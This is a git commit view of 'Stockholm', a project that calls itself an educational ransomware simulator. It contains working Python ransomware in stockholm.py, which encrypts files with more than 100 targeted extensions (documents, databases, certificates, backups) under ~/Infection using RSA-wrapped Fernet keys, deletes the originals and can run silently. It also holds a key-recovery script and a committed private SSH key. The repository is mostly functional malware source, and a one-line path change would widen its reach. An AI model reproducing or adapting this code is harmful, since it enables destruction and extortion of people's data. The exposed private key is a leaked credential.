initial commit
This commit is contained in:
commit
4da09c2407
50
README.md
Normal file
50
README.md
Normal file
@ -0,0 +1,50 @@
|
|||||||
|
# Stockholm - File Encryption Tool
|
||||||
|
|
||||||
|
A Python-based file encryption tool that simulates ransomware behavior for educational and security testing purposes.
|
||||||
|
|
||||||
|
## Installation
|
||||||
|
```bash
|
||||||
|
source setup.sh
|
||||||
|
ssh-keygen -t rsa -b 2048 -f id_rsa -N ""
|
||||||
|
```
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
### Encrypt files in ~/Infection directory:
|
||||||
|
```bash
|
||||||
|
python stockholm.py
|
||||||
|
```
|
||||||
|
|
||||||
|
### Decrypt files:
|
||||||
|
```bash
|
||||||
|
# Get symmetric key
|
||||||
|
python swat.py "$(cat ~/Infection/encrypted_symmetric_key.bin)" --private_key id_rsa
|
||||||
|
|
||||||
|
# Decrypt files
|
||||||
|
python stockholm.py -r <symmetric_key>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Options
|
||||||
|
- `-r, --reverse <key>`: Decrypt files using symmetric key
|
||||||
|
- `-s, --silent`: Run without output messages
|
||||||
|
- `-v, --version`: Show version information
|
||||||
|
|
||||||
|
## How It Works
|
||||||
|
1. Generates master symmetric key (Fernet)
|
||||||
|
2. Creates unique key for each file
|
||||||
|
3. Encrypts files in 64KB chunks
|
||||||
|
4. Master key encrypted with RSA public key
|
||||||
|
5. Original files are deleted after encryption
|
||||||
|
|
||||||
|
## Security Features
|
||||||
|
- Hybrid encryption (RSA + Fernet)
|
||||||
|
- Unique file keys
|
||||||
|
- Memory efficient chunked processing
|
||||||
|
- Supports 100+ file extensions
|
||||||
|
|
||||||
|
## Example Test Setup
|
||||||
|
```bash
|
||||||
|
mkdir -p ~/Infection/test
|
||||||
|
echo "test content" > ~/Infection/test/sample.txt
|
||||||
|
python stockholm.py
|
||||||
|
```
|
||||||
16
id_rsa
Normal file
16
id_rsa
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
-----BEGIN OPENSSH PRIVATE KEY-----
|
||||||
|
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAlwAAAAdzc2gtcn
|
||||||
|
NhAAAAAwEAAQAAAIEAvs0sB3WYMqMlSevPErlEzPEthzfldJ0yGioA93mSLG7bovaPmvs2
|
||||||
|
ElkvZ+4QFIQqNaTA/wp0xXHlP+wAWL+2FGSwf3ZRZtIj4CcqLTgFajCwMijqOQz6DlO5fv
|
||||||
|
bWBM2EUdp9lPMqKKrs5Q/5U8uAwDM/Yyep54Y44SkEikhQtjsAAAIIniZc6p4mXOoAAAAH
|
||||||
|
c3NoLXJzYQAAAIEAvs0sB3WYMqMlSevPErlEzPEthzfldJ0yGioA93mSLG7bovaPmvs2El
|
||||||
|
kvZ+4QFIQqNaTA/wp0xXHlP+wAWL+2FGSwf3ZRZtIj4CcqLTgFajCwMijqOQz6DlO5fvbW
|
||||||
|
BM2EUdp9lPMqKKrs5Q/5U8uAwDM/Yyep54Y44SkEikhQtjsAAAADAQABAAAAgCdub3L7Mo
|
||||||
|
EEhmhIe3r7HuTb0vTm8FyxP/F4TMrYLQVRw8JiAjudPwd7tvhbkqcqyS5c5iXPG2LSrvYO
|
||||||
|
5+Nve0lQO1Wb6eyp9Cy9xheAB7ZT7ebZgp/sZkBDK6qmoEUJrb8JINsMYSRxycW0CLP8xw
|
||||||
|
xUpe3gNsg7VLXdtf10T1vBAAAAQQDaO3utaP5GHmxaT/fRhG1x76z6TZv6JAV8chcjja0l
|
||||||
|
xe9Y1P8ymbLAe9ntxETtfnUl+FeNQv5X6lBKNDYwoc6iAAAAQQDlkiGUfmQkNOPKwsURTT
|
||||||
|
i990MdAzazQxonUXu1EMg8wdhS7JIZXDv/yh5sBobAR0PsntXk5QBbI5P0F/v7dOfvAAAA
|
||||||
|
QQDUxG/j8zUcTTb+csyXPDs1QDcIsvct5eRrsHvhPiLSoo5ER5hMpTuyRsYTuTBv36UvJZ
|
||||||
|
HVDaCDTARttNm2Aqp1AAAAC3dpbGxlbUBtaWVyAQIDBAUGBw==
|
||||||
|
-----END OPENSSH PRIVATE KEY-----
|
||||||
1
id_rsa.pub
Normal file
1
id_rsa.pub
Normal file
@ -0,0 +1 @@
|
|||||||
|
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQC+zSwHdZgyoyVJ688SuUTM8S2HN+V0nTIaKgD3eZIsbtui9o+a+zYSWS9n7hAUhCo1pMD/CnTFceU/7ABYv7YUZLB/dlFm0iPgJyotOAVqMLAyKOo5DPoOU7l+9tYEzYRR2n2U8yooquzlD/lTy4DAMz9jJ6nnhjjhKQSKSFC2Ow== willem@mier
|
||||||
0
requirements.txt
Normal file
0
requirements.txt
Normal file
3
setup.sh
Executable file
3
setup.sh
Executable file
@ -0,0 +1,3 @@
|
|||||||
|
python3 -m venv .venv
|
||||||
|
source .venv/bin/activate
|
||||||
|
pip install -r requirements.txt
|
||||||
272
stockholm.py
Executable file
272
stockholm.py
Executable file
@ -0,0 +1,272 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
from pathlib import Path
|
||||||
|
from cryptography.fernet import Fernet
|
||||||
|
from Crypto.Cipher import PKCS1_OAEP
|
||||||
|
from Crypto.PublicKey import RSA
|
||||||
|
import argparse
|
||||||
|
import os
|
||||||
|
from base64 import b64encode, b64decode
|
||||||
|
|
||||||
|
suffixes_to_encrypt = [
|
||||||
|
'.123', '.3dm', '.3ds', '.3g2', '.3gp', '.602', '.7z', '.accdb', '.aes',
|
||||||
|
'.ai', '.ARC', '.asc', '.asf', '.asm', '.asp', '.avi', '.backup', '.bak',
|
||||||
|
'.bat', '.bmp', '.brd', '.bz2', '.c', '.cgm', '.class', '.cmd', '.cpp',
|
||||||
|
'.crt', '.cs', '.csr', '.csv', '.db', '.dbf', '.dch', '.der', '.dif',
|
||||||
|
'.dip', '.djvu', '.doc', '.docb', '.docm', '.docx', '.dot', '.dotm',
|
||||||
|
'.dotx', '.dwg', '.edb', '.eml', '.fla', '.flv', '.frm', '.gif', '.gpg',
|
||||||
|
'.gz', '.h', '.hwp', '.ibd', '.iso', '.jar', '.java', '.jpeg', '.jpg',
|
||||||
|
'.js', '.jsp', '.key', '.lay', '.lay6', '.ldf', '.m3u', '.m4u', '.max',
|
||||||
|
'.mdb', '.mdf', '.mid', '.mkv', '.mml', '.mov', '.mp3', '.mp4', '.mpeg',
|
||||||
|
'.mpg', '.msg', '.myd', '.myi', '.nef', '.odb', '.odg', '.odp', '.ods',
|
||||||
|
'.odt', '.onetoc2', '.ost', '.otg', '.otp', '.ots', '.ott', '.p12',
|
||||||
|
'.PAQ', '.pas', '.pdf', '.pem', '.pfx', '.php', '.pl', '.png', '.pot',
|
||||||
|
'.potm', '.potx', '.ppam', '.pps', '.ppsm', '.ppsx', '.ppt', '.pptm',
|
||||||
|
'.pptx', '.ps1', '.psd', '.pst', '.rar', '.raw', '.rb', '.rtf', '.sch',
|
||||||
|
'.sh', '.sldm', '.sldx', '.slk', '.sln', '.snt', '.sql', '.sqlite3',
|
||||||
|
'.sqlitedb', '.stc', '.std', '.sti', '.stw', '.suo', '.svg', '.swf',
|
||||||
|
'.sxc', '.sxd', '.sxi', '.sxm', '.sxw', '.tar', '.tbk', '.tgz', '.tif',
|
||||||
|
'.tiff', '.txt', '.uop', '.uot', '.vb', '.vbs', '.vcd', '.vdi', '.vmdk',
|
||||||
|
'.vmx', '.vob', '.vsd', '.vsdx', '.wav', '.wb2', '.wk1', '.wks', '.wma',
|
||||||
|
'.wmv', '.xlc', '.xlm', '.xls', '.xlsb', '.xlsm', '.xlsx', '.xlt',
|
||||||
|
'.xltm', '.xltx', '.xlw', '.zip'
|
||||||
|
]
|
||||||
|
|
||||||
|
silent = False
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def encrypt_symmetric_key(symmetric_key, encrypted_key_path, public_key_path="id_rsa.pub"):
|
||||||
|
"""
|
||||||
|
Encrypts the symmetric key using the provided public key.
|
||||||
|
|
||||||
|
:param symmetric_key: The symmetric key to encrypt.
|
||||||
|
:param public_key_path: Path to the public RSA key file.
|
||||||
|
:return: Encrypted symmetric key.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
with open(public_key_path, "rb") as public_key_file:
|
||||||
|
public_key = RSA.import_key(public_key_file.read())
|
||||||
|
cipher_rsa = PKCS1_OAEP.new(public_key)
|
||||||
|
encrypted_symmetric_key = cipher_rsa.encrypt(symmetric_key)
|
||||||
|
except Exception as e:
|
||||||
|
my_print(f"Error encrypting symmetric key: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open(encrypted_key_path, "w") as enc_file:
|
||||||
|
enc_file.write(b64encode(encrypted_symmetric_key).decode('utf-8'))
|
||||||
|
except Exception as e:
|
||||||
|
my_print(f"Error writing encrypted symmetric key to file: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
my_print(f"Encrypted symmetric key saved to {encrypted_key_path}")
|
||||||
|
|
||||||
|
def encrypt_files(files, symmetric_key):
|
||||||
|
"""
|
||||||
|
Encrypts the specified files using the symmetric key with chunked encryption.
|
||||||
|
|
||||||
|
:param files: List of file paths to encrypt.
|
||||||
|
:param symmetric_key: The symmetric key to use for encryption.
|
||||||
|
"""
|
||||||
|
fernet_main = Fernet(symmetric_key)
|
||||||
|
|
||||||
|
for file in files:
|
||||||
|
fernet_file_key = Fernet.generate_key()
|
||||||
|
encrypted_fernet_file_key = fernet_main.encrypt(fernet_file_key)
|
||||||
|
fernet = Fernet(fernet_file_key)
|
||||||
|
|
||||||
|
if file.suffix != '.ft':
|
||||||
|
encrypted_file = file.with_suffix(file.suffix + '.ft')
|
||||||
|
else:
|
||||||
|
encrypted_file = file
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open(file, 'rb') as fin, open(encrypted_file, 'wb') as fout:
|
||||||
|
# Encrypt in chunks to handle large files
|
||||||
|
fout.write(len(encrypted_fernet_file_key).to_bytes(4, byteorder='big'))
|
||||||
|
fout.write(encrypted_fernet_file_key)
|
||||||
|
while True:
|
||||||
|
chunk = fin.read(65536) # 64KB chunks
|
||||||
|
if not chunk:
|
||||||
|
break
|
||||||
|
|
||||||
|
# Encrypt each chunk separately
|
||||||
|
encrypted_chunk = fernet.encrypt(chunk)
|
||||||
|
|
||||||
|
# Write the length of the encrypted chunk first (for decryption)
|
||||||
|
chunk_length = len(encrypted_chunk)
|
||||||
|
fout.write(chunk_length.to_bytes(4, byteorder='big'))
|
||||||
|
fout.write(encrypted_chunk)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
my_print(f"Error encrypting file {file}: {e}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
my_print(f"Encrypted file: {encrypted_file}")
|
||||||
|
|
||||||
|
try:
|
||||||
|
os.remove(file)
|
||||||
|
my_print(f"Removed original file: {file}")
|
||||||
|
except Exception as e:
|
||||||
|
my_print(f"Error removing original file {file}: {e}")
|
||||||
|
|
||||||
|
def decrypt_files(files, symmetric_key):
|
||||||
|
"""
|
||||||
|
Decrypts the specified files using the symmetric key with chunked decryption.
|
||||||
|
|
||||||
|
:param files: List of file paths to decrypt.
|
||||||
|
:param symmetric_key: The symmetric key to use for decryption.
|
||||||
|
"""
|
||||||
|
fernet_main = Fernet(symmetric_key)
|
||||||
|
|
||||||
|
for file in files:
|
||||||
|
if file.suffix != '.ft':
|
||||||
|
continue
|
||||||
|
|
||||||
|
original_file = file.with_suffix('')
|
||||||
|
if len(original_file.suffixes) == 0:
|
||||||
|
original_file = original_file.with_suffix('.ft')
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open(file, 'rb') as fin, open(original_file, 'wb') as fout:
|
||||||
|
length_key = fin.read(4)
|
||||||
|
if not length_key or len(length_key) < 4:
|
||||||
|
my_print(f"Error reading length of encrypted key from {file}")
|
||||||
|
continue
|
||||||
|
encrypted_key = fin.read(int.from_bytes(length_key, byteorder='big'))
|
||||||
|
if not encrypted_key:
|
||||||
|
my_print(f"Error reading encrypted key from {file}")
|
||||||
|
continue
|
||||||
|
# Decrypt the symmetric key
|
||||||
|
try:
|
||||||
|
decrypted_key = fernet_main.decrypt(encrypted_key)
|
||||||
|
except Exception as e:
|
||||||
|
my_print(f"Error decrypting symmetric key: {e}")
|
||||||
|
continue
|
||||||
|
fernet = Fernet(decrypted_key)
|
||||||
|
|
||||||
|
# Decrypt in chunks
|
||||||
|
while True:
|
||||||
|
# Read the chunk length
|
||||||
|
length_bytes = fin.read(4)
|
||||||
|
if not length_bytes or len(length_bytes) < 4:
|
||||||
|
break
|
||||||
|
|
||||||
|
chunk_length = int.from_bytes(length_bytes, byteorder='big')
|
||||||
|
|
||||||
|
# Read the encrypted chunk
|
||||||
|
encrypted_chunk = fin.read(chunk_length)
|
||||||
|
if not encrypted_chunk or len(encrypted_chunk) < chunk_length:
|
||||||
|
break
|
||||||
|
|
||||||
|
# Decrypt the chunk
|
||||||
|
decrypted_chunk = fernet.decrypt(encrypted_chunk)
|
||||||
|
fout.write(decrypted_chunk)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
my_print(f"Error decrypting file {file}: {e}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
os.remove(file)
|
||||||
|
my_print(f"Removed encrypted file: {file}")
|
||||||
|
except Exception as e:
|
||||||
|
my_print(f"Error removing encrypted file {file}: {e}")
|
||||||
|
continue
|
||||||
|
my_print(f"Decrypted file: {original_file}")
|
||||||
|
|
||||||
|
|
||||||
|
def list_infection_files(infection_path):
|
||||||
|
"""
|
||||||
|
Lists all files in the Infection directory.
|
||||||
|
|
||||||
|
:return: List of file paths in the Infection directory.
|
||||||
|
"""
|
||||||
|
if not infection_path.exists():
|
||||||
|
my_print("Infection path does not exist.")
|
||||||
|
return []
|
||||||
|
|
||||||
|
files = [file for file in infection_path.glob('**/*') if file.is_file() and file.suffix in suffixes_to_encrypt]
|
||||||
|
return files
|
||||||
|
|
||||||
|
def list_infected_files(infection_path):
|
||||||
|
"""
|
||||||
|
Lists all infected files in the Infection directory.
|
||||||
|
|
||||||
|
:return: List of infected file paths in the Infection directory.
|
||||||
|
"""
|
||||||
|
if not infection_path.exists():
|
||||||
|
my_print("Infection path does not exist.")
|
||||||
|
return []
|
||||||
|
|
||||||
|
files = [file for file in infection_path.glob('**/*') if file.is_file() and file.suffix == '.ft']
|
||||||
|
return files
|
||||||
|
|
||||||
|
def generate_symmetric_key():
|
||||||
|
"""
|
||||||
|
Generates a symmetric key for encryption.
|
||||||
|
|
||||||
|
:return: Generated symmetric key.
|
||||||
|
"""
|
||||||
|
key = Fernet.generate_key()
|
||||||
|
my_print(f"Generated symmetric key: {key.decode('utf-8')}")
|
||||||
|
return key
|
||||||
|
|
||||||
|
def my_print(message):
|
||||||
|
"""
|
||||||
|
Prints the message if not in silent mode.
|
||||||
|
|
||||||
|
:param message: The message to print.
|
||||||
|
:param silent: If True, suppresses the output.
|
||||||
|
"""
|
||||||
|
global silent
|
||||||
|
if not silent:
|
||||||
|
print(message)
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description="Encrypt or decrypt files in the Infection directory.")
|
||||||
|
parser.add_argument("-r", "--reverse", type=str, help="Decrypt files using the provided decryption key.")
|
||||||
|
parser.add_argument("-v", "--version", action="version", version="Stockholm 1.0")
|
||||||
|
parser.add_argument("-s", "--silent", action="store_true", default=False ,help="Run in silent mode, suppressing output messages.")
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
global silent
|
||||||
|
silent = args.silent
|
||||||
|
|
||||||
|
home_dir = os.path.expanduser("~")
|
||||||
|
infection_path = Path(home_dir, "Infection")
|
||||||
|
if args.reverse:
|
||||||
|
my_print("Decrypting files...")
|
||||||
|
files = list_infected_files(infection_path)
|
||||||
|
# The key from swat.py is a base64-encoded string that should be used directly as bytes
|
||||||
|
if isinstance(args.reverse, str):
|
||||||
|
symmetric_key = args.reverse.encode('utf-8')
|
||||||
|
else:
|
||||||
|
symmetric_key = args.reverse
|
||||||
|
if symmetric_key:
|
||||||
|
if files:
|
||||||
|
decrypt_files(files, symmetric_key)
|
||||||
|
else:
|
||||||
|
my_print("No files to decrypt found in the Infection directory.")
|
||||||
|
else:
|
||||||
|
my_print("Failed to decrypt the symmetric key.")
|
||||||
|
else:
|
||||||
|
my_print("Encrypting files...")
|
||||||
|
files = list_infection_files(infection_path)
|
||||||
|
symmetric_key = generate_symmetric_key()
|
||||||
|
my_print(infection_path / "encrypted_symmetric_key.bin")
|
||||||
|
encrypt_symmetric_key(symmetric_key, infection_path / "encrypted_symmetric_key.bin")
|
||||||
|
if files:
|
||||||
|
encrypt_files(files, symmetric_key)
|
||||||
|
|
||||||
|
else:
|
||||||
|
my_print("No files to encrypt found in the Infection directory.")
|
||||||
|
del symmetric_key
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
44
swat.py
Executable file
44
swat.py
Executable file
@ -0,0 +1,44 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
import os
|
||||||
|
from pathlib import Path
|
||||||
|
from Crypto.Cipher import PKCS1_OAEP
|
||||||
|
from Crypto.PublicKey import RSA
|
||||||
|
from base64 import b64encode, b64decode
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
def decrypt_symmetric_key(encrypted_key, private_key_path="id_rsa"):
|
||||||
|
"""
|
||||||
|
Decrypts the symmetric key using the provided private key.
|
||||||
|
|
||||||
|
:param encrypted_key_path: Path to the file containing the encrypted symmetric key.
|
||||||
|
:param private_key_path: Path to the private RSA key file.
|
||||||
|
:return: Decrypted symmetric key or None if decryption fails.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
with open(private_key_path, "rb") as private_key_file:
|
||||||
|
private_key = RSA.import_key(private_key_file.read())
|
||||||
|
cipher_rsa = PKCS1_OAEP.new(private_key)
|
||||||
|
|
||||||
|
encrypted_symmetric_key = encrypted_key.encode('utf-8') if isinstance(encrypted_key, str) else encrypted_key
|
||||||
|
|
||||||
|
symmetric_key = cipher_rsa.decrypt(b64decode(encrypted_symmetric_key))
|
||||||
|
return symmetric_key
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error decrypting symmetric key: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description="Decrypt a symmetric key using a private RSA key.")
|
||||||
|
parser.add_argument("encrypted_key", type=str, help="Encrypted symmetric key")
|
||||||
|
parser.add_argument("--private_key", type=str, default="id_rsa", help="Path to the private RSA key file (default: id_rsa)")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
symmetric_key = decrypt_symmetric_key(args.encrypted_key, args.private_key)
|
||||||
|
if symmetric_key:
|
||||||
|
print(symmetric_key.decode('utf-8') if isinstance(symmetric_key, bytes) else symmetric_key)
|
||||||
|
else:
|
||||||
|
print("Failed to decrypt the symmetric key.")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Loading…
Reference in New Issue
Block a user